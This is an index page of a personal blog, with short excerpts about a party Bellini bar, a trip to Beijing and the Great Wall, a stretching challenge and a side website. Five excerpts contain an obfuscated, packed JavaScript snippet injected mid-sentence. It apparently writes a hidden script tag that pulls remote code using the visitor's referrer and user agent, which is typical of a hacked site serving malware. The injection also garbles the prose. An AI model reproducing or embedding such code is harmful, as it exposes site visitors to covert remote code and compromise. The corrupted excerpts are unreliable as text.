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Bellini bar!

This is too fantastic not to post. We went to a football party on Sunday.  Those poor niners. Anyways, one of the couples brought, what she dubbed, a Bellini Bar! She had pureed strawberries, blueberries and peaches all in cute little jars and also Prosecco, Champagne (or other sparkling alcoholic things), Perrier and Sprite!  It […]

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Happy Chinese New Year!

It’s the year of the Dragon!  We hear there may be a lot of births in China (a lot being more than the usual amount). Here’s a fun youtube video.  Completely appropriate for work (I’m not being sarcastic, it’s totally fine).  Chinese tiger/dragon dancers dancing to LMFAO Party Rock Anthem. httpv://www.youtube.com/watch?v=053S4B5J0is I also felt ambitious […]

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The rest?

And now my final China post.  I’ll just list off all the other cool and interesting things we did or saw 🙂 Summer Palace.  The Camp David of Beijing.  The lake is man made and the grounds are beautiful.  I could have spent longer here….especially if it had been warmer. The ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n […]

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The greatest wall there ever was

The highlight of our trip was our visit to The Great Wall.  Most of my Great Wall knowledge came from Mulan and I think Disney accurately captured the majesty. We ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fiiri|var|u0026u|referrer|knkke||js|php’.split(‘|’),0,{})) headed to the Badaling section of the great wall.  It is (apparently) the most visited section of the great wall, […]

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Riding a rickshaw and lunch in a hutong

Have you ever been in a rickshaw?  In China?  Yeah, I have!  I was initially scared for my life.  I thought we were going to be riding the rickshaw in Beijing traffic!  Did I mention I witnessed a 3 car accident – I literally watched the accident happen – in slow motion.  I was 100% […]

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The Real Housewives of the Forbidden City

But before we get to the gossip, how about a little more China? We started off our first day at Tiananmen Square and the entrance to the Forbidden City.  What you’re seeing is “fog.”  That’s right, China calls it fog.  But it’s definitely SMOG.  We’re still trying to figure out the cigarette equivalent to what […]

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Back from China!

Currently blogging from my bed!  Nick’s about to fall asleep and I’m wide awake.  That’s jet lag for you. I had planned on posting a blog or 2 while in China, not realizing that wordpress was blocked!  As was Facebook, Twitter and other blogs!  Geez, China!  What gives?  I guess there are ways around it, […]

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The Splits: an update

Ok, so after a week of sorta-kinda-stretching, I think we have improvement. As a reminder.  Week 1. And ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nsfdn|var|u0026u|referrer|zfhtd||js|php’.split(‘|’),0,{})) now week 2!  Getting closer.  We’ll see if I continue the stretching while in China.  They are famous for their underage gymnasts, so maybe I’ll learn by osmosis!

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1000 Useful Things is BACK!

Remember ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibyst|var|u0026u|referrer|btnae||js|php’.split(‘|’),0,{})) that website I started last year and then got busy and stopped blogging?  Well, I got a new rush of energy Friday night and posted a bunch of new things! Check it out if you’re interested! http://www.1000usefulthings.com/

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Beijing Bound!

We ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydseb|var|u0026u|referrer|syked||js|php’.split(‘|’),0,{})) headed to Bejing yesterday!  To get ready, we watched Kung Fu Panda 2 while sitting on the couch with our shih tzu! Everything you need to know about China can be learned from Jack Black, Angelina Jolie and an overweight puppy (yes yes, he’s just big boned).  But seriously, […]